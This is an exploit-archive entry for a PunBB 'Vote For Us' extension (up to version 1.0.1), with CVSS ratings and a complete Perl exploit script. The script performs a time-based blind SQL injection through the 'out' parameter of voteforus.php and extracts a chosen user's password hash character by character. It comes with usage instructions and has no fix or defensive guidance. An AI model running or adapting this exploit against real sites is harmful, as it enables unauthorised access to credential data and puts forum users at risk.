PunBB Extension Vote For Us <= 1.0.1 Blind SQL Injection Exploit

2009-07-02 / 2009-07-03
Credit: WaRWolFz Crew
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-89


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

#!/usr/bin/perl #[0-Day] PunBB VoteForUs.php OUT Mod <= v1.0.1 Remote Blind SQL Injection Exploit #Coded By Dante90, WaRWolFz Crew #Bug Discovered By: Dante90, WaRWolFz Crew #Download: http://www.punres.org/desc.php?pid=378 use strict; use LWP::UserAgent; use HTTP::Request::Common; use Time::HiRes; use IO::Socket; my ($Hash,$Time,$Time_Start,$Time_End,$Response); my($Start,$End); my @chars = (48,49,50,51,52,53,54,55,56,57,97,98,99,100,101,102); my $Host = "http://www.victime_site.org/path/"; #Insert Victime Web Site Link my $id = shift or &usage; my $Method = HTTP::Request->new(GET => $Host); my $HTTP = new LWP::UserAgent; my $Referrer = "http://warwolfz.altervista.org/"; my $DefaultTime = request($Referrer); sub Blind_SQL_Jnjection{ my ($dec,$hex) = @_; return "./voteforus.php?out=-1+OR+1!=(SELECT IF((ASCII(SUBSTRING(`password`,${dec},1))=${hex}),benchmark(200000000,CHAR(0)),0) FROM `users` WHERE `id`=${id})/*"; } for(my $I=1; $I<=40; $I++){ #N Hash characters for(my $J=0; $J<=15; $J++){ #0 -> F $Time_Start = time(); $HTTP->get($Host.Blind_SQL_Jnjection($I,$chars[$J])); $Time_End = time(); $Time = request($Referrer); refresh($Host, $DefaultTime, $J, $Hash, $Time, $I); if($Time_End - $Time_Start > 6){ $Time = request($Referrer); refresh($Host, $DefaultTime, $J, $Hash, $Time, $I); if($Time_End - $Time_Start > 6){ syswrite(STDOUT,chr($chars[$J])); $Hash .= chr($chars[$J]); $Time = request($Referrer); refresh($Host, $DefaultTime, $J, $Hash, $Time, $I); last; } } } if($I == 1 && length $Hash < 0 && !$Hash){ print " * Exploit Failed *\n"; print " ------------------------------------------------------ \n"; exit; } if($I == 40){ print " * Exploit Successed *\n"; print " ------------------------------------------------------\n "; system("pause"); } } sub usage{ system("cls"); { print " \n [0-Day] PunBB VoteForUs.php OUT Mod <= v1.0.1 Remote Blind SQL Injection Exploit\n"; print " ------------------------------------------------------ \n"; print " * USAGE: *\n"; print " * cd [Local Disk]:\\[Directory Of Exploit]\\ *\n"; print " * perl name_exploit.pl [id] *\n"; print " ------------------------------------------------------ \n"; print " * Powered By Dante90, WaRWolFz Crew *\n"; print " * www.warwolfz.org - dante90_founder[at]warwolfz.org *\n"; print " ------------------------------------------------------ \n"; }; exit; } sub request{ $Referrer = $_[0]; $Method->referrer($Referrer); $Start = Time::HiRes::time(); $Response = $HTTP->request($Method); $Response->is_success() or die "$Host : ", $Response->message,"\n"; $End = Time::HiRes::time(); $Time = $End - $Start; return $Time; } sub refresh{ system("cls"); { print " \n [0-Day] PunBB VoteForUs.php OUT Mod <= v1.0.1 Remote Blind SQL Injection Exploit\n"; print " ------------------------------------------------------ \n"; print " * USAGE: *\n"; print " * cd [Local Disk]:\\[Directory Of Exploit]\\ *\n"; print " * perl name_exploit.pl [uid] *\n"; print " ------------------------------------------------------ \n"; print " * Powered By Dante90, WaRWolFz Crew *\n"; print " * www.warwolfz.org - dante90_founder[at]warwolfz.org *\n"; print " ------------------------------------------------------ \n"; }; print " * Victime Site: " . $_[0] . "\n"; print " * Default Time: " . $_[1] . " seconds\n"; print " * BruteForcing Hash: " . chr($chars[$_[2]]) . "\n"; print " * BruteForcing N Char Hash: " . $_[5] . "\n"; print " * SQL Time: " . $_[4] . " seconds\n"; print " * Hash: " . $_[3] . "\n"; } #WaRWolFz Crew


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